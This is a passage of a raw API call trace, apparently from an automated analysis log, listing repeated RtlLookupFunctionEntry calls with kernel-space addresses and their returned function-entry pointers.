ControlPc=0xfffff960001043ac, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b1db0 [0191.632] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000165060, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b47e0 [0191.632] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000209bac, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0x0 [0191.632] RtlLookupFunctionEntry (in: ControlPc=0xfffff960000fdc70, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0x0 [0191.632] RtlLookupFunctionEntry (in: ControlPc=0xfffff960000fdc14, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0x0 [0191.633] RtlLookupFunctionEntry (in: ControlPc=0xfffff960001f488c, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b8e30 [0191.633] RtlLookupFunctionEntry (in: ControlPc=0xfffff960002ab630, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004c0864 [0191.633] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000113d40, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b2398 [0191.633] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600018d250, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b59c8 [0191.633] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000222290, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004babf4 [0191.633] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600016819c, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b4930 [0191.633] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000117650, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b24b8 [0191.633] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600018b028, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b58b4 [0191.633] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000264ae8, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bd8d0 [0191.633] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000260e18, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bd6c0 [0191.633] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000220e64, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bab58 [0191.633] RtlLookupFunctionEntry (in: ControlPc=0xfffff960001102c4, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b2194 [0191.633] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600019f13c, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b61cc [0191.633] RtlLookupFunctionEntry (in: ControlPc=0xfffff960001fbc20, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b93b8 [0191.633] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600023a614, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bba1c [0191.633] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600011d134, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0x0 [0191.633] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600021f08c, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004baa68 [0191.633] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000251fcc, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bca18 [0191.633] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600025d61c, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bd3f0 [0191.633] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600010b560, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b20c8 [0191.633] RtlLookupFunctionEntry (in: ControlPc=0xfffff960002bb0e0, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004c14c4 [0191.633] RtlLookupFunctionEntry (in: ControlPc=0xfffff960001fe360, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b9568 [0191.633] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000106550, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b1e7c [0191.633] RtlLookupFunctionEntry (in: ControlPc=0xfffff960001f8e28, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b9184 [0191.633] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000125734, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b2a70 [0191.633] RtlLookupFunctionEntry (in: ControlPc=0xfffff960002b8260, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004c1254 [0191.633] RtlLookupFunctionEntry (in: ControlPc=0xfffff960001654e0, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0x0 [0191.633] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000109b40, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b1ffc [0191.633] RtlLookupFunctionEntry (in: ControlPc=0xfffff960001b19e0, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b6c34 [0191.633] RtlLookupFunctionEntry (in: ControlPc=0xfffff960002538bc, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bcb8c [0191.633] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600021ecec, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004baa2c [0191.634] RtlLookupFunctionEntry (in: ControlPc=0xfffff960000fc620, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b1a44 [0191.634] RtlLookupFunctionEntry (in: ControlPc=0xfffff960000f90b0, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b1738 [0191.634] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600024fae4, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bc868 [0191.634] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600012ff28, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b304c [0191.634] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000219718, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004ba60c [0191.634] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600011c740, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b265c [0191.634] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600025d334, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bd3c0 [0191.634] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600025eea8, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bd528 [0191.634] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600021fe28, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004baad4 [0191.634] RtlLookupFunctionEntry (in: ControlPc=0xfffff960003c6478, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004cfd74 [0191.634] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000291dcc, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bf9e8 [0191.634] RtlLookupFunctionEntry (in: ControlPc=0xfffff960001f92cc, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b91b4 [0191.634] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600018a7dc, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b5848 [0191.634] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000231a78, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0x0 [0191.634] RtlLookupFunctionEntry (in: ControlPc=0xfffff960000f4750, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b1564 [0191.634] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600021ff88, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004baae0 [0191.634] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600012af64, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b2da0 [0191.634] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600012b350, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b2dd0 [0191.634] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000220f50, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bab64 [0191.634] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600022aca0, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bb110 [0191.634] RtlLookupFunctionEntry (in: ControlPc=0xfffff960001b45c8, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b6de4 [0191.634] RtlLookupFunctionEntry (in: ControlPc=0xfffff960000f533c, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0x0 [0191.634] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600025dbf8, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bd438 [0191.634] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000265e24, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bda74 [0191.634] RtlLookupFunctionEntry (in: ControlPc=0xfffff960002bbadc, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004c1530 [0191.634] RtlLookupFunctionEntry (in: ControlPc=0xfffff960000f0610, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b1318 [0191.634] RtlLookupFunctionEntry (in: ControlPc=0xfffff960001280e4, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b2c44 [0191.634] RtlLookupFunctionEntry (in: ControlPc=0xfffff960001f9fb0, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b9274 [0191.635] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000219d90, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004ba63c [0191.635] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600025f118, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bd54c [0191.635] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000236a5c, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bb7b8 [0191.635] RtlLookupFunctionEntry (in: ControlPc=0xfffff960001afc30, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b6ab4 [0191.635] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600022b0d0, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bb128 [0191.635] RtlLookupFunctionEntry (in: ControlPc=0xfffff960003c6478, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004cfd74 [0191.635] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000275080, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0x0 [0191.635] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600026acf8, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bdee8 [0191.635] RtlLookupFunctionEntry (in: ControlPc=0xfffff960000f667c, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b1624 [0191.635] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600011c130, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b2620 [0191.635] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000218020, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004ba528 [0191.635] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600012b304, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b2dc4 [0191.635] RtlLookupFunctionEntry (in: ControlPc=0xfffff960000fb0c4, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b1930 [0191.635] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000106e58, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b1e94 [0191.635] RtlLookupFunctionEntry (in: ControlPc=0xfffff960001f87c0, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b9124 [0191.635] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600019fa48, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0x0 [0191.635] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000109a54, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b1ff0 [0191.635] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000236d70, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bb7f4 [0191.635] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600018d450, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b59d4 [0191.635] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000208ed4, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b9a90 [0191.635] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600013e57c, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b3484 [0191.635] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000128714, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b2c74 [0191.635] RtlLookupFunctionEntry (in: ControlPc=0xfffff960003f0d34, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004d11fc [0191.635] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600021dee0, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004ba984 [0191.635] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600028e020, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bf82c [0191.635] RtlLookupFunctionEntry (in: ControlPc=0xfffff960001ee260, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b8adc [0191.635] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000266304, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bdabc [0191.635] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600021dc24, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004ba96c [0191.636] RtlLookupFunctionEntry (in: ControlPc=0xfffff960003f00a0, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004d1184 [0191.636] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600026a0f0, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bddf8 [0191.636] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600018aee0, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0x0 [0191.636] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600025e240, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bd498 [0191.636] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600010aea0, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b2098 [0191.636] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000238be0, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0x0 [0191.636] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600015aff0, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b427c [0191.636] RtlLookupFunctionEntry (in: ControlPc=0xfffff960000fdb70, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b1b40 [0191.636] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600015bb80, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b42f4 [0191.636] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600014dbf4, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b3a78 [0191.636] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600026afb8, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bdf24 [0191.636] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600013f544, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b34f0 [0191.636] RtlLookupFunctionEntry (in: ControlPc=0xfffff960001acbb8, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b68bc [0191.636] RtlLookupFunctionEntry (in: ControlPc=0xfffff960003c6478, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004cfd74 [0191.636] RtlLookupFunctionEntry (in: ControlPc=0xfffff960003c6478, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004cfd74 [0191.636] RtlLookupFunctionEntry (in: ControlPc=0xfffff960003c6478, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004cfd74 [0191.636] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600010fd28, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b2164 [0191.636] RtlLookupFunctionEntry (in: ControlPc=0xfffff960003c6478, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004cfd74 [0191.636] RtlLookupFunctionEntry (in: ControlPc=0xfffff960001b395c, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b6d54 [0191.636] RtlLookupFunctionEntry (in: ControlPc=0xfffff960000ea370, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b100c [0191.636] RtlLookupFunctionEntry (in: ControlPc=0xfffff960001b3270, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b6cdc [0191.636] RtlLookupFunctionEntry (in: ControlPc=0xfffff960001304ec, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b3070 [0191.636] RtlLookupFunctionEntry (in: ControlPc=0xfffff960003c6478, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004cfd74 [0191.636] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600016b6d4, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b4a74 [0191.636] RtlLookupFunctionEntry (in: ControlPc=0xfffff960001afaa0, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b6a9c [0191.636] RtlLookupFunctionEntry (in: ControlPc=0xfffff960002b425c, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004c0f54 [0191.636] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000265a40, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bda50 [0191.636] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600029bb20, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004c0078 [0191.636] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600012ec90, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b2fbc [0191.636] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000232774, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0x0 [0191.636] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000237f10, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bb86c [0191.636] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000251b3c, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bc9f4 [0191.636] RtlLookupFunctionEntry (in: ControlPc=0xfffff960002a7fe0, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004c0684 [0191.636] RtlLookupFunctionEntry (in: ControlPc=0xfffff960001b3310, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b6cf4 [0191.636] RtlLookupFunctionEntry (in: ControlPc=0xfffff960001acf54, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b68d4 [0191.636] RtlLookupFunctionEntry (in: ControlPc=0xfffff960002a9bb8, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004c075c [0191.636] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000127800, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0x0 [0191.637] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000237460, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bb83c [0191.637] RtlLookupFunctionEntry (in: ControlPc=0xfffff9600017ab9c, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b5164 [0191.637] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000156040, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b3ec8 [0191.637] RtlLookupFunctionEntry (in: ControlPc=0xfffff960001153dc, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004b24a0 [0191.637] RtlLookupFunctionEntry (in: ControlPc=0xfffff960002c49e0, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004c1b84 [0191.637] RtlLookupFunctionEntry (in: ControlPc=0xfffff960002a9350, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004c0720 [0191.637] RtlLookupFunctionEntry (in: ControlPc=0xfffff96000232020, ImageBase=0xffffd00021936280, HistoryTable=0x0 | out: ImageBase=0xffffd00021936280, HistoryTable=0x0) returned 0xfffff960004bb470 [0191.637] RtlLookupFunctionEntry (in: 